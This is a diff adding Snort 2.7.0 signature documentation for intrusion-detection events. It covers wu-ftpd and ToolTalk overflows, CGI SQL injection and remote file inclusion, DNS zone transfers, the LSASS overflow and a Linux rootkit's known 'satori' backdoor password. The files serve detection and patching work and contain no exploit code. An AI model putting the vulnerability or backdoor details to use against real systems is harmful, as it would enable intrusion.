+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PictureDis
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/352.txt
+++ snort-2.7.0/doc/signatures/352.txt
@@ -0,0 +1,64 @@
+SID:
+352
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated 
+user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+	NcFTP Software NcFTPD 2.3.5
+	Washington University wu-ftpd 2.4.2 (beta 18) VR10 RedHat wu-ftpd 2.4.2 b18-2 
+	Washington University wu-ftpd 2.4.2 academ[BETA-18]
+	Probably others as well, suspect anything under 
+	Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/897.txt
+++ snort-2.7.0/doc/signatures/897.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+897
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/571.txt
+++ snort-2.7.0/doc/signatures/571.txt
@@ -0,0 +1,66 @@
+SID:
+571
+--
+
+Rule:
+--
+
+Summary:
+This event indicates an attempt to exploit the tool talk RPC database 
+service
+--
+
+Impact:
+Possible unauthorized administrative access to the server or application
+or a denial of service to the affected application running on a Solaris 
+system
+--
+
+Detailed Information:
+ToolTalk RPC database service (rpc.ttdbserverd) does not perform 
+adequate input validation or provide a format string specifier argument 
+when writing to syslog. This means a specifically crafted RPC request to
+the ToolTalk RPC database service overwriting specific locations in 
+memory and therefore allowing execution of code with the same permission
+level as the user running ttdbserverd, usually root.
+--
+
+Affected Systems:
+	Solaris 1.1 - 2.6
+Possibly other vendors, if you are running Tool Talk (rpc.ttdbserverd) check with your vendor.
+--
+
+Attack Scenarios:
+An attacker will send a specially crafted RPC call to the 
+rpc.ttdbserverd daemon running on an affected system. A sucessful 
+attack will then run code on the server with the access level of the 
+root user.
+--
+
+Ease of Attack:
+Simple, Exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Updates packages and patches are available from vendors, install them or
+disable the service if not needed.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000855.txt
+++ snort-2.7.0/doc/signatures/100000855.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000855
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "name" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "name" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/634.txt
+++ snort-2.7.0/doc/signatures/634.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+634
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain which ports a host may be listening on, whether or not the ports are filtered by a firewall and if the host is vulnerable to a particular exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. Then the attacker might find out that the FTP service is vulnerable to a particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2693.txt
+++ snort-2.7.0/doc/signatures/2693.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2693
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure verify_queue_types_no_queue
+. This procedure is included in
+sys.dbms_aqadm.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1454.txt
+++ snort-2.7.0/doc/signatures/1454.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1454
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server, in this case
+the wwwwais cgi application.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Securiteam:
+http://www.securiteam.com/unixfocus/5SP140035A.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1824.txt
+++ snort-2.7.0/doc/signatures/1824.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1824
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/887.txt
+++ snort-2.7.0/doc/signatures/887.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+887
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+WWW-SQL:
+http://grox.net/doc/web/www-sql.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1084.txt
+++ snort-2.7.0/doc/signatures/1084.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1084
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1948.txt
+++ snort-2.7.0/doc/signatures/1948.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1948
+
+--
+Summary:
+A zone transfer of records on the DNS server has been requested.
+
+A successful zone transfer can give valuable reconnaissance about hostnames and IP addresses for the domain.
+
+--
+Impact:
+Information leak, reconnaissance.  A malicious user can gain valuable 
+information about the network.
+
+
+--
+Detailed Information:
+Zone transfers are normally used to replicate zone information between 
+master and slave DNS servers.  If zone transfers have not been 
+restricted to authorized slave servers only, malicious users can attempt
+them for reconnaissance about the network.  The content |00 00 FC| looks
+for the end of a DNS query and a DNS type of 252 meaning a DNS zone 
+transfer.
+
+--
+Affected Systems:
+All versions of BIND.
+
+--
+Attack Scenarios:
+A zone transfer might be a precursor to some kind of attack to gain 
+reconnaissance.
+
+--
+Ease of Attack:
+Simple to perform using tools such as nslookup, dig, and host.
+
+
+--
+False Positives:
+Legitimate zone transfers from authorized slave servers may cause this 
+False positives may arise from TSIG DNS traffic.  If all of your slave 
+servers are in your $HOME_NET and you do not support TSIG, the 
+likelihood of false positives should be very low.
+
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Configure your DNS servers to allow zone transfers from authorized hosts
+only.  
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+CAN-1999-0532
+arachnids,212
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2503.txt
+++ snort-2.7.0/doc/signatures/2503.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2503
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2370.txt
+++ snort-2.7.0/doc/signatures/2370.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2370
+
+--
+Summary:
+This event is generated when an attempt is made to access config.conf, a 
+component of the BugPort PHP web application running on a server.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+BugPort is a PHP application used for bug tracking purposes. It is
+possible for a remote user to view the configuration file for the
+application by making a request for the file using a web browser.
+
+--
+Affected Systems:
+	BugPort prior to version 1.099
+
+--
+Attack Scenarios:
+An attacker can view the configuration file for the server by using a
+web browser to request the file.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000407.txt
+++ snort-2.7.0/doc/signatures/100000407.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000407
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "calday.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "calday.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1505.txt
+++ snort-2.7.0/doc/signatures/1505.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1505
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1583.txt
+++ snort-2.7.0/doc/signatures/1583.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1583
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1272.txt
+++ snort-2.7.0/doc/signatures/1272.txt
@@ -0,0 +1,71 @@
+Rule:  
+
+--
+
+Sid:
+1272
+
+--
+
+Summary:
+This event is generated when an attempt is made to probe a host for the
+sadmind RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Certain versions of sadmind on Solaris systems are vulnerable to a
+remotely exploitable buffer overflow condition. This event indicates
+that an attempt has been made to determine if the service is available
+on the target host.
+
+--
+Affected Systems:
+	Solaris 2.5 through 2.7
+ 
+--
+Attack Scenarios:
+An attacker runs an automated tool that connects to portmapper of the
+target host, probes for RPC, and repeatedly attacks the host to brute
+force the offset in the buffer overflow.
+
+--
+Ease of Attack:
+Simple. Tools are available and exploit code exists to exploit
+vulnerabilites in sadmind.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the sadmind service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by David Wilburn <bug@gecko.roadtoad.net>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/866/exploit/
+
+CERT:
+http://www.cert.org/advisories/CA-1999-16.html
+
+--
--- snort-2.7.0.orig/doc/signatures/216.txt
+++ snort-2.7.0/doc/signatures/216.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+216
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "satori". This is a known password for 
+the Satori Linux rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats
+http://www.whitehats.com/info/IDS516
+
+--
--- snort-2.7.0.orig/doc/signatures/718.txt
+++ snort-2.7.0/doc/signatures/718.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+718
+
+--
+Summary:
+This event is generated when an attempted telnet login fails from a remote user.
+
+--
+Impact:
+Attempted remote access.  This event may indicate that an attacker is attempting to guess username and password combinations.  Alternately, it may indicate that an authorized user has entered an incorrect username and password combination.
+
+--
+Detailed Information:
+A telnet server will issue an error message after a failed login attempt.  This may be an indication of an attacker attempting brute force guessing of username and password combinations.  It is also possible that an authorized user has incorrectly entered a legitimate username and password combination.  Telnet traffic is passed in clear text so it is not recommended for remote connections.  Secure Shell is considered to be a more secure alternative.
+
+--
+Affected Systems:
+Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed telnet login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original rule writer Max Vision <vision@whitehats.com>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS127
+
+--
--- snort-2.7.0.orig/doc/signatures/2511.txt
+++ snort-2.7.0/doc/signatures/2511.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2511
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3099.txt
+++ snort-2.7.0/doc/signatures/3099.txt
